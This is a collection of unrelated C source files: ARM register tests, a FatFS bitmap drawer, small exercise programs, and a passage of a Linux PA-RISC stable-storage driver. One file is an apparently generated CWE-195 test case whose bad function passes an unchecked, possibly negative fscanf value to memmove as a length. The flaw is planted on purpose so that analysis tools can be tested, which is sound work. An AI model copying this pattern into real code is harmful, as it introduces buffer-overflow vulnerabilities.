"/* Set all the VFP to known values. */ \n"
"vmov d0, r0, r1 \n"
"vmov d1, r2, r3 \n"
"vmov d2, r4, r5 \n"
"vmov d3, r6, r7 \n"
"vmov d4, r8, r9 \n"
"vmov d5, r10, r11 \n"
"vmov d6, r0, r1 \n"
"vmov d7, r2, r3 \n"
"vmov d8, r4, r5 \n"
"vmov d9, r6, r7 \n"
"vmov d10, r8, r9 \n"
"vmov d11, r10, r11 \n"
"vmov d12, r0, r1 \n"
"vmov d13, r2, r3 \n"
"vmov d14, r4, r5 \n"
"vmov d15, r6, r7 \n"
"reg2_loop: \n"
"/* Check all the VFP registers still contain the values set above. \n"
"First save registers that are clobbered by the test. */ \n"
"push { r0-r1 } \n"
"vmov r0, r1, d0 \n"
"cmp r0, #-1 \n"
"bne reg2_error_loopf \n"
"cmp r1, #1 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d1 \n"
"cmp r0, #2 \n"
"bne reg2_error_loopf \n"
"cmp r1, #3 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d2 \n"
"cmp r0, #4 \n"
"bne reg2_error_loopf \n"
"cmp r1, #5 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d3 \n"
"cmp r0, #6 \n"
"bne reg2_error_loopf \n"
"cmp r1, #7 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d4 \n"
"cmp r0, #8 \n"
"bne reg2_error_loopf \n"
"cmp r1, #9 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d5 \n"
"cmp r0, #10 \n"
"bne reg2_error_loopf \n"
"cmp r1, #11 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d6 \n"
"cmp r0, #-1 \n"
"bne reg2_error_loopf \n"
"cmp r1, #1 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d7 \n"
"cmp r0, #2 \n"
"bne reg2_error_loopf \n"
"cmp r1, #3 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d8 \n"
"cmp r0, #4 \n"
"bne reg2_error_loopf \n"
"cmp r1, #5 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d9 \n"
"cmp r0, #6 \n"
"bne reg2_error_loopf \n"
"cmp r1, #7 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d10 \n"
"cmp r0, #8 \n"
"bne reg2_error_loopf \n"
"cmp r1, #9 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d11 \n"
"cmp r0, #10 \n"
"bne reg2_error_loopf \n"
"cmp r1, #11 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d12 \n"
"cmp r0, #-1 \n"
"bne reg2_error_loopf \n"
"cmp r1, #1 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d13 \n"
"cmp r0, #2 \n"
"bne reg2_error_loopf \n"
"cmp r1, #3 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d14 \n"
"cmp r0, #4 \n"
"bne reg2_error_loopf \n"
"cmp r1, #5 \n"
"bne reg2_error_loopf \n"
"vmov r0, r1, d15 \n"
"cmp r0, #6 \n"
"bne reg2_error_loopf \n"
"cmp r1, #7 \n"
"bne reg2_error_loopf \n"
"/* Restore the registers that were clobbered by the test. */ \n"
"pop {r0-r1} \n"
"/* VFP register test passed. Jump to the core register test. */ \n"
"b reg2_loopf_pass \n"
"reg2_error_loopf: \n"
"/* If this line is hit then a VFP register value was found to be \n"
"incorrect. */ \n"
"b reg2_error_loopf \n"
"reg2_loopf_pass: \n"
"cmp r0, #-1 \n"
"bne reg2_error_loop \n"
"cmp r1, #1 \n"
"bne reg2_error_loop \n"
"cmp r2, #2 \n"
"bne reg2_error_loop \n"
"cmp r3, #3 \n"
"bne reg2_error_loop \n"
"cmp r4, #4 \n"
"bne reg2_error_loop \n"
"cmp r5, #5 \n"
"bne reg2_error_loop \n"
"cmp r6, #6 \n"
"bne reg2_error_loop \n"
"cmp r7, #7 \n"
"bne reg2_error_loop \n"
"cmp r8, #8 \n"
"bne reg2_error_loop \n"
"cmp r9, #9 \n"
"bne reg2_error_loop \n"
"cmp r10, #10 \n"
"bne reg2_error_loop \n"
"cmp r11, #11 \n"
"bne reg2_error_loop \n"
"cmp r12, #12 \n"
"bne reg2_error_loop \n"
"/* Increment the loop counter so the check task knows this task is \n"
"still running. */ \n"
"push { r0-r1 } \n"
"ldr r0, =pulRegTest4LoopCounter \n"
"ldr r0, [r0] \n"
"ldr r1, [r0] \n"
"adds r1, r1, #1 \n"
"str r1, [r0] \n"
"pop { r0-r1 } \n"
"/* Yield to increase test coverage. */ \n"
"SVC #1 \n"
"/* Start again. */ \n"
"b reg2_loop \n"
"reg2_error_loop: \n"
"/* If this line is hit then there was an error in a core register value. \n"
"This loop ensures the loop counter variable stops incrementing. */ \n"
"b reg2_error_loop \n"
); /* __asm volatile */
}
/*-----------------------------------------------------------*/
/* Fault handlers are here for convenience as they use compiler specific syntax
and this file is specific to the GCC compiler. */
void hard_fault_handler( uint32_t * hardfault_args )
{
volatile uint32_t stacked_r0;
volatile uint32_t stacked_r1;
volatile uint32_t stacked_r2;
volatile uint32_t stacked_r3;
volatile uint32_t stacked_r12;
volatile uint32_t stacked_lr;
volatile uint32_t stacked_pc;
volatile uint32_t stacked_psr;
stacked_r0 = ((uint32_t) hardfault_args[ 0 ]);
stacked_r1 = ((uint32_t) hardfault_args[ 1 ]);
stacked_r2 = ((uint32_t) hardfault_args[ 2 ]);
stacked_r3 = ((uint32_t) hardfault_args[ 3 ]);
stacked_r12 = ((uint32_t) hardfault_args[ 4 ]);
stacked_lr = ((uint32_t) hardfault_args[ 5 ]);
stacked_pc = ((uint32_t) hardfault_args[ 6 ]);
stacked_psr = ((uint32_t) hardfault_args[ 7 ]);
/* Inspect stacked_pc to locate the offending instruction. */
for( ;; );
( void ) stacked_psr;
( void ) stacked_pc;
( void ) stacked_lr;
( void ) stacked_r12;
( void ) stacked_r0;
( void ) stacked_r1;
( void ) stacked_r2;
( void ) stacked_r3;
}
/*-----------------------------------------------------------*/
void HardFault_Handler( void ) __attribute__((naked));
void HardFault_Handler( void )
{
__asm volatile
(
" tst lr, #4 \n"
" ite eq \n"
" mrseq r0, msp \n"
" mrsne r0, psp \n"
" ldr r1, [r0, #24] \n"
" ldr r2, handler_address_const \n"
" bx r2 \n"
" handler_address_const: .word hard_fault_handler \n"
);
}
/*-----------------------------------------------------------*/
void MemManage_Handler( void ) __attribute__((naked));
void MemManage_Handler( void )
{
__asm volatile
(
" tst lr, #4 \n"
" ite eq \n"
" mrseq r0, msp \n"
" mrsne r0, psp \n"
" ldr r1, [r0, #24] \n"
" ldr r2, handler2_address_const \n"
" bx r2 \n"
" handler2_address_const: .word hard_fault_handler \n"
);
}/*-----------------------------------------------------------*/
|
395207.c | /**
* \file
*
* \brief Functions for drawing bitmaps through FatFS.
*
* Copyright (c) 2012-2014 Atmel Corporation. All rights reserved.
*
* \asf_license_start
*
* \page License
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. The name of Atmel may not be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* 4. This software may only be redistributed and used in connection with an
* Atmel microcontroller product.
*
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* \asf_license_stop
*
*/
/**
* Support and FAQ: visit <a href="http://www.atmel.com/design-support/">Atmel Support</a>
*/
#include <asf.h>
#include "ff.h"
#include "demo.h"
#include "string.h"
/** FatFS read buffer size */
#define FF_BUFF_SIZE 1536
COMPILER_PACK_SET(1)
/* BMP (Windows) Header Format */
struct bmpfile_header {
uint16_t type; /* signature, must be 4D42 hex */
uint32_t file_size; /* size of BMP file in bytes (unreliable) */
uint16_t reserved1; /* reserved, must be zero */
uint16_t reserved2; /* reserved, must be zero */
uint32_t offset; /* offset to start of image data in bytes */
uint32_t header_size; /* size of BITMAPINFOHEADER structure, must be 40 */
uint32_t width; /* image width in pixels */
uint32_t height; /* image height in pixels */
uint16_t planes; /* number of planes in the image, must be 1 */
uint16_t bits; /* number of bits per pixel (1, 4, 8, 16, 24, 32) */
uint32_t compression; /* compression type (0=none, 1=RLE-8, 2=RLE-4) */
uint32_t inage_size; /* size of image data in bytes (including padding) */
uint32_t h_resolution; /* horizontal resolution in pixels per meter
* (unreliable) */
uint32_t v_resolution; /* vertical resolution in pixels per meter
* (unreliable) */
uint32_t colours; /* number of colors in image, or zero */
uint32_t important_colors; /* number of important colors, or zero */
};
COMPILER_PACK_RESET()
/** Bitmap buffer read from file */
static uint8_t demo_bmp_filedata[FF_BUFF_SIZE];
static void demo_draw_bmpfile( struct gfx_bitmap const *bmp,
gfx_coord_t map_x, gfx_coord_t map_y,
gfx_coord_t x, gfx_coord_t y);
/**
* \brief Initialize FatFS and draw interface.
*/
uint8_t demo_draw_bmpfile_init(void)
{
static FATFS fs;
FRESULT res;
DIR dirs;
/* Mount disk*/
memset(&fs, 0, sizeof(FATFS));
res = f_mount(LUN_ID_0, &fs);
if (res != FR_OK) {
printf("-E- f_mount pb: 0x%X\n\r", res);
return 1;
}
/* Test if the disk is formatted */
res = f_opendir(&dirs, "");
if (res == FR_NO_FILESYSTEM) {
/* Format disk */
printf("-I- Format disk %d\n\r", LUN_ID_0);
puts("-I- Please wait a moment during formatting...\r");
res = f_mkfs(LUN_ID_0, /* Drv */
0, /* FDISK partition */
512); /* AllocSize */
puts("-I- Disk format finished !\r");
if (res != FR_OK) {
printf("-E- f_mkfs pb: 0x%X\n\r", res);
return 1;
}
}
/* Set gfx draw bitmap function */
gfx_set_ext_handler( demo_draw_bmpfile );
return 0;
}
/**
* \brief Draw bmp file read from FatFS.
*
* \param bmp Pointer to the bitmap.
* \param map_x Start pos x.
* \param map_y Start pos y.
* \param x Width length.
* \param y Height length.
*/
static void demo_draw_bmpfile( struct gfx_bitmap const *bmp,
gfx_coord_t map_x, gfx_coord_t map_y,
gfx_coord_t x, gfx_coord_t y)
{
FIL fp;
struct bmpfile_header bmp_header;
uint32_t length;
uint8_t i = 0;
uint32_t line_length;
uint32_t min_length;
volatile uint32_t read_line_num = 0;
volatile uint32_t offset;
uint32_t start_y = map_y;
uint32_t offset_y;
uint32_t read_length;
gfx_coord_t width = bmp->width;
uint32_t lcd_type = ili93xx_get_lcd_type();
if (lcd_type == 1)
{
gfx_coord_t width = bmp->width;
if (f_open(&fp, (const char *)bmp->data.custom, FA_OPEN_EXISTING |
FA_READ) == FR_OK) {
if (f_read(&fp, &bmp_header, sizeof(bmp_header), &length) == FR_OK) {
switch (bmp_header.bits) {
case 24:
/* Set window */
gfx_set_limits(map_x, map_y, map_x + x, map_y + y);
line_length = (((bmp_header.width * bmp_header.bits) +31) / 32) * 4;
min_length = width * 3;
if (min_length == line_length) {
/* Read buffer and write it on backend */
do {
f_read(&fp, demo_bmp_filedata, sizeof(demo_bmp_filedata), &length);
gfx_copy_progmem_pixels_to_screen(demo_bmp_filedata, length /3);
} while (length == sizeof(demo_bmp_filedata));
} else {
read_line_num = FF_BUFF_SIZE / line_length;
do {
f_read( &fp, demo_bmp_filedata, read_line_num * line_length, &length );
offset = 0;
for (i = 0; i < length / line_length; i++) {
gfx_copy_progmem_pixels_to_screen(&demo_bmp_filedata[offset], width);
offset += line_length;
}
} while (length == read_line_num * line_length);
}
break;
default:
break;
}
}
f_close(&fp);
}
} else {
gfx_set_orientation(GFX_FLIP_Y);
offset_y = FF_BUFF_SIZE/(x+1)/3;
read_length = offset_y*(x+1)*3;
if (f_open(&fp, (const char *)bmp->data.custom, FA_OPEN_EXISTING |
FA_READ) == FR_OK) {
if (f_read( &fp, &bmp_header, sizeof(bmp_header), &length ) == FR_OK) {
switch (bmp_header.bits) {
case 24:
/* Set window */
gfx_set_limits(map_x, 320- start_y - y, map_x + x, 320 - map_y);
line_length = (((bmp_header.width * bmp_header.bits) +31) / 32) * 4;
min_length = width * 3;
if (min_length == line_length) {
/* Read buffer and write it on backend */
do {
f_read(&fp, demo_bmp_filedata, read_length, &length );
gfx_set_limits(map_x, 320-start_y-y, map_x+x, 320- map_y);
gfx_copy_progmem_pixels_to_screen(demo_bmp_filedata, length/3);
start_y -= offset_y;
} while (length == (read_length));
} else {
read_line_num = FF_BUFF_SIZE / line_length;
do {
f_read( &fp, demo_bmp_filedata, read_line_num * line_length, &length );
offset = 0;
for (i = 0; i < length / line_length; i++) {
gfx_copy_progmem_pixels_to_screen(&demo_bmp_filedata[offset], width);
offset += line_length;
}
} while (length == read_line_num * line_length);
}
break;
default:
break;
}
}
f_close( &fp );
}
gfx_set_orientation(0);
}
}
|
821647.c | /* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_memmove_01.c
Label Definition File: CWE195_Signed_to_Unsigned_Conversion_Error.label.xml
Template File: sources-sink-01.tmpl.c
*/
/*
* @description
* CWE: 195 Signed to Unsigned Conversion Error
* BadSource: fscanf Read data from the console using fscanf()
* GoodSource: Positive integer
* Sink: memmove
* BadSink : Copy strings using memmove() with the length of data
* Flow Variant: 01 Baseline
*
* */
#include "std_testcase.h"
#ifndef OMITBAD
void CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_memmove_01_bad()
{
int data;
/* Initialize data */
data = -1;
/* POTENTIAL FLAW: Read data from the console using fscanf() */
fscanf(stdin, "%d", &data);
{
char source[100];
char dest[100] = "";
memset(source, 'A', 100-1);
source[100-1] = '\0';
if (data < 100)
{
/* POTENTIAL FLAW: data is interpreted as an unsigned int - if its value is negative,
* the sign conversion could result in a very large number */
memmove(dest, source, data);
dest[data] = '\0'; /* NULL terminate */
}
printLine(dest);
}
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B uses the GoodSource with the BadSink */
static void goodG2B()
{
int data;
/* Initialize data */
data = -1;
/* FIX: Use a positive integer less than &InitialDataSize&*/
data = 100-1;
{
char source[100];
char dest[100] = "";
memset(source, 'A', 100-1);
source[100-1] = '\0';
if (data < 100)
{
/* POTENTIAL FLAW: data is interpreted as an unsigned int - if its value is negative,
* the sign conversion could result in a very large number */
memmove(dest, source, data);
dest[data] = '\0'; /* NULL terminate */
}
printLine(dest);
}
}
void CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_memmove_01_good()
{
goodG2B();
}
#endif /* OMITGOOD */
/* Below is the main(). It is only used when building this testcase on
* its own for testing or for building a binary to use in testing binary
* analysis tools. It is not used when compiling all the testcases as one
* application, which is how source code analysis tools are tested.
*/
#ifdef INCLUDEMAIN
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_memmove_01_good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_memmove_01_bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
806101.c | #include <stdio.h>
int main() {
double a, b, c;
while(scanf("%lf %lf %lf", &a, &b, &c) != EOF){
if(a + b > c && a + c > b && b + c > a && a > 0 && b > 0 && c > 0) printf("1\n");
else printf("0\n");
}
}
|
593579.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
clock_t begin, end;
double time_spent;
begin = clock();
int i = 0;
while (i++ < 10000000)
{}
end = clock();
time_spent = (double) (end - begin) / CLOCKS_PER_SEC;
printf("On stack %.3lf seconds\n", time_spent);
begin = clock();
int *ptr = malloc(1 * sizeof (int));
while ((*ptr) < 10000000)
{
(*ptr) += 1;
}
free(ptr);
end = clock();
time_spent = (double) (end - begin) / CLOCKS_PER_SEC;
printf("On heap %.3lf seconds\n", time_spent);
return 0;
}
|
22481.c | /*
* Interfaces to retrieve and set PDC Stable options (firmware)
*
* Copyright (C) 2005-2006 Thibaut VARENE <[email protected]>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License, version 2, as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*
* DEV NOTE: the PDC Procedures reference states that:
* "A minimum of 96 bytes of Stable Storage is required. Providing more than
* 96 bytes of Stable Storage is optional [...]. Failure to provide the
* optional locations from 96 to 192 results in the loss of certain
* functionality during boot."
*
* Since locations between 96 and 192 are the various paths, most (if not
* all) PA-RISC machines should have them. Anyway, for safety reasons, the
* following code can deal with just 96 bytes of Stable Storage, and all
* sizes between 96 and 192 bytes (provided they are multiple of struct
* device_path size, eg: 128, 160 and 192) to provide full information.
* One last word: there's one path we can always count on: the primary path.
* Anything above 224 bytes is used for 'osdep2' OS-dependent storage area.
*
* The first OS-dependent area should always be available. Obviously, this is
* not true for the other one. Also bear in mind that reading/writing from/to
* osdep2 is much more expensive than from/to osdep1.
* NOTE: We do not handle the 2 bytes OS-dep area at 0x5D, nor the first
* 2 bytes of storage available right after OSID. That's a total of 4 bytes
* sacrificed: -ETOOLAZY :P
*
* The current policy wrt file permissions is:
* - write: root only
* - read: (reading triggers PDC calls) ? root only : everyone
* The rationale is that PDC calls could hog (DoS) the machine.
*
* TODO:
* - timer/fastsize write calls
*/
#undef PDCS_DEBUG
#ifdef PDCS_DEBUG
#define DPRINTK(fmt, args...) printk(KERN_DEBUG fmt, ## args)
#else
#define DPRINTK(fmt, args...)
#endif
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/capability.h>
#include <linux/ctype.h>
#include <linux/sysfs.h>
#include <linux/kobject.h>
#include <linux/device.h>
#include <linux/errno.h>
#include <linux/spinlock.h>
#include <asm/pdc.h>
#include <asm/page.h>
#include <asm/uaccess.h>
#include <asm/hardware.h>
#define PDCS_VERSION "0.30"
#define PDCS_PREFIX "PDC Stable Storage"
#define PDCS_ADDR_PPRI 0x00
#define PDCS_ADDR_OSID 0x40
#define PDCS_ADDR_OSD1 0x48
#define PDCS_ADDR_DIAG 0x58
#define PDCS_ADDR_FSIZ 0x5C
#define PDCS_ADDR_PCON 0x60
#define PDCS_ADDR_PALT 0x80
#define PDCS_ADDR_PKBD 0xA0
#define PDCS_ADDR_OSD2 0xE0
MODULE_AUTHOR("Thibaut VARENE <[email protected]>");
MODULE_DESCRIPTION("sysfs interface to HP PDC Stable Storage data");
MODULE_LICENSE("GPL");
MODULE_VERSION(PDCS_VERSION);
/* holds Stable Storage size. Initialized once and for all, no lock needed */
static unsigned long pdcs_size __read_mostly;
/* holds OS ID. Initialized once and for all, hopefully to 0x0006 */
static u16 pdcs_osid __read_mostly;
/* This struct defines what we need to deal with a parisc pdc path entry */
struct pdcspath_entry {
rwlock_t rw_lock; /* to protect path entry access */
short ready; /* entry record is valid if != 0 */
unsigned long addr; /* entry address in stable storage */
char *name; /* entry name */
struct device_path devpath; /* device path in parisc representation */
struct device *dev; /* corresponding device */
struct kobject kobj;
};
struct pdcspath_attribute {
struct attribute attr;
ssize_t (*show)(struct pdcspath_entry *entry, char *buf);
ssize_t (*store)(struct pdcspath_entry *entry, const char *buf, size_t count);
};
#define PDCSPATH_ENTRY(_addr, _name) \
struct pdcspath_entry pdcspath_entry_##_name = { \
.ready = 0, \
.addr = _addr, \
.name = __stringify(_name), \
};
#define PDCS_ATTR(_name, _mode, _show, _store) \
struct subsys_attribute pdcs_attr_##_name = { \
.attr = {.name = __stringify(_name), .mode = _mode}, \
.show = _show, \
.store = _store, \
};
#define PATHS_ATTR(_name, _mode, _show, _store) \
struct pdcspath_attribute paths_attr_##_name = { \
.attr = {.name = __stringify(_name), .mode = _mode}, \
.show = _show, \
.store = _store, \
};
#define to_pdcspath_attribute(_attr) container_of(_attr, struct pdcspath_attribute, attr)
#define to_pdcspath_entry(obj) container_of(obj, struct pdcspath_entry, kobj)
/**
* pdcspath_fetch - This function populates the path entry structs.
* @entry: A pointer to an allocated pdcspath_entry.
*
* The general idea is that you don't read from the Stable Storage every time
* you access the files provided by the facilites. We store a copy of the
* content of the stable storage WRT various paths in these structs. We read
* these structs when reading the files, and we will write to these structs when
* writing to the files, and only then write them back to the Stable Storage.
*
* This function expects to be called with @entry->rw_lock write-hold.
*/
static int
pdcspath_fetch(struct pdcspath_entry *entry)
{
struct device_path *devpath;
if (!entry)
return -EINVAL;
devpath = &entry->devpath;
DPRINTK("%s: fetch: 0x%p, 0x%p, addr: 0x%lx\n", __func__,
entry, devpath, entry->addr);
/* addr, devpath and count must be word aligned */
if (pdc_stable_read(entry->addr, devpath, sizeof(*devpath)) != PDC_OK)
return -EIO;
/* Find the matching device.
NOTE: hardware_path overlays with device_path, so the nice cast can
be used */
entry->dev = hwpath_to_device((struct hardware_path *)devpath);
entry->ready = 1;
DPRINTK("%s: device: 0x%p\n", __func__, entry->dev);
return 0;
}
/**
* pdcspath_store - This function writes a path to stable storage.
* @entry: A pointer to an allocated pdcspath_entry.
*
* It can be used in two ways: either by passing it a preset devpath struct
* containing an already computed hardware path, or by passing it a device
* pointer, from which it'll find out the corresponding hardware path.
* For now we do not handle the case where there's an error in writing to the
* Stable Storage area, so you'd better not mess up the data :P
*
* This function expects to be called with @entry->rw_lock write-hold.
*/
static void
pdcspath_store(struct pdcspath_entry *entry)
{
struct device_path *devpath;
BUG_ON(!entry);
devpath = &entry->devpath;
/* We expect the caller to set the ready flag to 0 if the hardware
path struct provided is invalid, so that we know we have to fill it.
First case, we don't have a preset hwpath... */
if (!entry->ready) {
/* ...but we have a device, map it */
BUG_ON(!entry->dev);
device_to_hwpath(entry->dev, (struct hardware_path *)devpath);
}
/* else, we expect the provided hwpath to be valid. */
DPRINTK("%s: store: 0x%p, 0x%p, addr: 0x%lx\n", __func__,
entry, devpath, entry->addr);
/* addr, devpath and count must be word aligned */
if (pdc_stable_write(entry->addr, devpath, sizeof(*devpath)) != PDC_OK) {
printk(KERN_ERR "%s: an error occured when writing to PDC.\n"
"It is likely that the Stable Storage data has been corrupted.\n"
"Please check it carefully upon next reboot.\n", __func__);
WARN_ON(1);
}
/* kobject is already registered */
entry->ready = 2;
DPRINTK("%s: device: 0x%p\n", __func__, entry->dev);
}
/**
* pdcspath_hwpath_read - This function handles hardware path pretty printing.
* @entry: An allocated and populated pdscpath_entry struct.
* @buf: The output buffer to write to.
*
* We will call this function to format the output of the hwpath attribute file.
*/
static ssize_t
pdcspath_hwpath_read(struct pdcspath_entry *entry, char *buf)
{
char *out = buf;
struct device_path *devpath;
short i;
if (!entry || !buf)
return -EINVAL;
read_lock(&entry->rw_lock);
devpath = &entry->devpath;
i = entry->ready;
read_unlock(&entry->rw_lock);
if (!i) /* entry is not ready */
return -ENODATA;
for (i = 0; i < 6; i++) {
if (devpath->bc[i] >= 128)
continue;
out += sprintf(out, "%u/", (unsigned char)devpath->bc[i]);
}
out += sprintf(out, "%u\n", (unsigned char)devpath->mod);
return out - buf;
}
/**
* pdcspath_hwpath_write - This function handles hardware path modifying.
* @entry: An allocated and populated pdscpath_entry struct.
* @buf: The input buffer to read from.
* @count: The number of bytes to be read.
*
* We will call this function to change the current hardware path.
* Hardware paths are to be given '/'-delimited, without brackets.
* We make sure that the provided path actually maps to an existing
* device, BUT nothing would prevent some foolish user to set the path to some
* PCI bridge or even a CPU...
* A better work around would be to make sure we are at the end of a device tree
* for instance, but it would be IMHO beyond the simple scope of that driver.
* The aim is to provide a facility. Data correctness is left to userland.
*/
static ssize_t
pdcspath_hwpath_write(struct pdcspath_entry *entry, const char *buf, size_t count)
{
struct hardware_path hwpath;
unsigned short i;
char in[count+1], *temp;
struct device *dev;
int ret;
if (!entry || !buf || !count)
return -EINVAL;
/* We'll use a local copy of buf */
memset(in, 0, count+1);
strncpy(in, buf, count);
/* Let's clean up the target. 0xff is a blank pattern */
memset(&hwpath, 0xff, sizeof(hwpath));
/* First, pick the mod field (the last one of the input string) */
if (!(temp = strrchr(in, '/')))
return -EINVAL;
hwpath.mod = simple_strtoul(temp+1, NULL, 10);
in[temp-in] = '\0'; /* truncate the remaining string. just precaution */
DPRINTK("%s: mod: %d\n", __func__, hwpath.mod);
/* Then, loop for each delimiter, making sure we don't have too many.
we write the bc fields in a down-top way. No matter what, we stop
before writing the last field. If there are too many fields anyway,
then the user is a moron and it'll be caught up later when we'll
check the consistency of the given hwpath. */
for (i=5; ((temp = strrchr(in, '/'))) && (temp-in > 0) && (likely(i)); i--) {
hwpath.bc[i] = simple_strtoul(temp+1, NULL, 10);
in[temp-in] = '\0';
DPRINTK("%s: bc[%d]: %d\n", __func__, i, hwpath.bc[i]);
}
/* Store the final field */
hwpath.bc[i] = simple_strtoul(in, NULL, 10);
DPRINTK("%s: bc[%d]: %d\n", __func__, i, hwpath.bc[i]);
/* Now we check that the user isn't trying to lure us */
if (!(dev = hwpath_to_device((struct hardware_path *)&hwpath))) {
printk(KERN_WARNING "%s: attempt to set invalid \"%s\" "
"hardware path: %s\n", __func__, entry->name, buf);
return -EINVAL;
}
/* So far so good, let's get in deep */
write_lock(&entry->rw_lock);
entry->ready = 0;
entry->dev = dev;
/* Now, dive in. Write back to the hardware */
pdcspath_store(entry);
/* Update the symlink to the real device */
sysfs_remove_link(&entry->kobj, "device");
ret = sysfs_create_link(&entry->kobj, &entry->dev->kobj, "device");
WARN_ON(ret);
write_unlock(&entry->rw_lock);
printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" path to \"%s\"\n",
entry->name, buf);
return count;
}
/**
* pdcspath_layer_read - Extended layer (eg. SCSI ids) pretty printing.
* @entry: An allocated and populated pdscpath_entry struct.
* @buf: The output buffer to write to.
*
* We will call this function to format the output of the layer attribute file.
*/
static ssize_t
pdcspath_layer_read(struct pdcspath_entry *entry, char *buf)
{
char *out = buf;
struct device_path *devpath;
short i;
if (!entry || !buf)
return -EINVAL;
read_lock(&entry->rw_lock);
devpath = &entry->devpath;
i = entry->ready;
read_unlock(&entry->rw_lock);
if (!i) /* entry is not ready */
return -ENODATA;
for (i = 0; devpath->layers[i] && (likely(i < 6)); i++)
out += sprintf(out, "%u ", devpath->layers[i]);
out += sprintf(out, "\n");
return out - buf;
}
/**
* pdcspath_layer_write - This function handles extended layer modifying.
* @entry: An allocated and populated pdscpath_entry struct.
* @buf: The input buffer to read from.
* @count: The number of bytes to be read.
*
* We will call this function to change the current layer value.
* Layers are to be given '.'-delimited, without brackets.
* XXX beware we are far less checky WRT input data provided than for hwpath.
* Potential harm can be done, since there's no way to check the validity of
* the layer fields.
*/
static ssize_t
pdcspath_layer_write(struct pdcspath_entry *entry, const char *buf, size_t count)
{
unsigned int layers[6]; /* device-specific info (ctlr#, unit#, ...) */
unsigned short i;
char in[count+1], *temp;
if (!entry || !buf || !count)
return -EINVAL;
/* We'll use a local copy of buf */
memset(in, 0, count+1);
strncpy(in, buf, count);
/* Let's clean up the target. 0 is a blank pattern */
memset(&layers, 0, sizeof(layers));
/* First, pick the first layer */
if (unlikely(!isdigit(*in)))
return -EINVAL;
layers[0] = simple_strtoul(in, NULL, 10);
DPRINTK("%s: layer[0]: %d\n", __func__, layers[0]);
temp = in;
for (i=1; ((temp = strchr(temp, '.'))) && (likely(i<6)); i++) {
if (unlikely(!isdigit(*(++temp))))
return -EINVAL;
layers[i] = simple_strtoul(temp, NULL, 10);
DPRINTK("%s: layer[%d]: %d\n", __func__, i, layers[i]);
}
/* So far so good, let's get in deep */
write_lock(&entry->rw_lock);
/* First, overwrite the current layers with the new ones, not touching
the hardware path. */
memcpy(&entry->devpath.layers, &layers, sizeof(layers));
/* Now, dive in. Write back to the hardware */
pdcspath_store(entry);
write_unlock(&entry->rw_lock);
printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" layers to \"%s\"\n",
entry->name, buf);
return count;
}
/**
* pdcspath_attr_show - Generic read function call wrapper.
* @kobj: The kobject to get info from.
* @attr: The attribute looked upon.
* @buf: The output buffer.
*/
static ssize_t
pdcspath_attr_show(struct kobject *kobj, struct attribute *attr, char *buf)
{
struct pdcspath_entry *entry = to_pdcspath_entry(kobj);
struct pdcspath_attribute *pdcs_attr = to_pdcspath_attribute(attr);
ssize_t ret = 0;
if (pdcs_attr->show)
ret = pdcs_attr->show(entry, buf);
return ret;
}
/**
* pdcspath_attr_store - Generic write function call wrapper.
* @kobj: The kobject to write info to.
* @attr: The attribute to be modified.
